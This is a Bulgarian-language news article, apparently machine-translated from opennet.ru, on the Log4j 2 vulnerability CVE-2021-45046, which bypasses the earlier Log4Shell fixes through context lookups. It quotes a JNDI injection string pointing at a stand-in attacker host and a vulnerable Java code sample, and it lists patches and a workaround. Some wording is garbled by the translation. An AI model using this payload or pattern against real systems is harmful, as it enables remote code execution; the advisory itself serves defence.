Друга уязвимост е идентифицирана при внедряването на JNDI търсения в библиотеката Log4j 2 (CVE-2021-45046), която се появява въпреки корекциите, добавени във версия 2.15 и независимо от използването на настройката „log4j2.noFormatMsgLookup“ за защита. Проблемът е опасен главно за по-стари версии на Log4j 2, защитени с помощта на флага „noFormatMsgLookup“, тъй като дава възможност да се заобиколи защитата от предишни уязвимости (Log4Shell, CVE-2021-44228), което ви позволява да изпълните кода си на сървър. За потребителите на версия 2.15 експлоатацията е ограничена до причиняване на срив на приложението поради изчерпване на наличните ресурси.
Уязвимостта се появява само на системи, които използват контекстни търсения за регистриране, като ${ctx:loginId}, или MDC шаблони (контекстна карта на нишка), като %X, %mdc и %MDC. Операцията се свежда до създаване на условия за извеждане на данни, съдържащи JNDI замествания в дневника, когато се използват контекстни заявки или MDC шаблони в приложението, които определят правилата за форматиране на изхода в дневника.
Изследователи от LunaSec отбелязват, че за версии на Log4j по-малки от 2.15, тази уязвимост може да се използва като нов вектор за атака на Log4Shell, водеща до изпълнение на код, ако ThreadContext изрази, които включват външни данни, се използват в изхода на журнала, независимо дали "protect" флаг е активиран. noMsgFormatLookups" или шаблона "%m{nolookups}".
Заобикалянето на защитата се свежда до факта, че вместо директно заместване на „${jndi:ldap://attacker.com/a}“, този израз се замества чрез стойността на междинна променлива, използвана в правилата за форматиране на изходния файл . Например, ако контекстната заявка ${ctx:apiversion} се използва при извеждане в регистрационния файл, тогава атаката може да бъде извършена чрез заместване на данните „${jndi:ldap://attacker.com/a}“ в стойност, записана в променливата apiversion. Пример за уязвим код: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Стойността на HTTP заглавката "X-Api-Version" се предава на ThreadContext ThreadContext.put("apiversion) ", apiVersion ); // При регистриране външната стойност на apiversion ще бъде обработена с помощта на заместването ${ctx:apiversion} logger.info("Получена заявка за версия на API"); връщане "Здравей, свят!"; }
Във версия 4 на Log2.15j, уязвимостта може да се използва за извършване на DoS атаки при предаване на стойности към ThreadContext, което води до цикъл при обработката на шаблона за форматиране на изхода.
Публикувани са актуализации 2.16 и 2.12.2, за да блокират уязвимостта. В клона Log4j 2.16, в допълнение към поправките, внедрени във версия 2.15 и обвързването на JNDI LDAP заявки към „localhost“, JNDI функционалността е напълно деактивирана по подразбиране и поддръжката за шаблони за заместване на съобщения е премахната. Като заобиколно решение за сигурност се препоръчва да премахнете класа JndiLookup от класовия път (например „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class“) .
Можете да проследите появата на корекции в пакети на страниците на производители на дистрибуции (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) и Java платформа (GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure и др.).
Източник: opennet.ru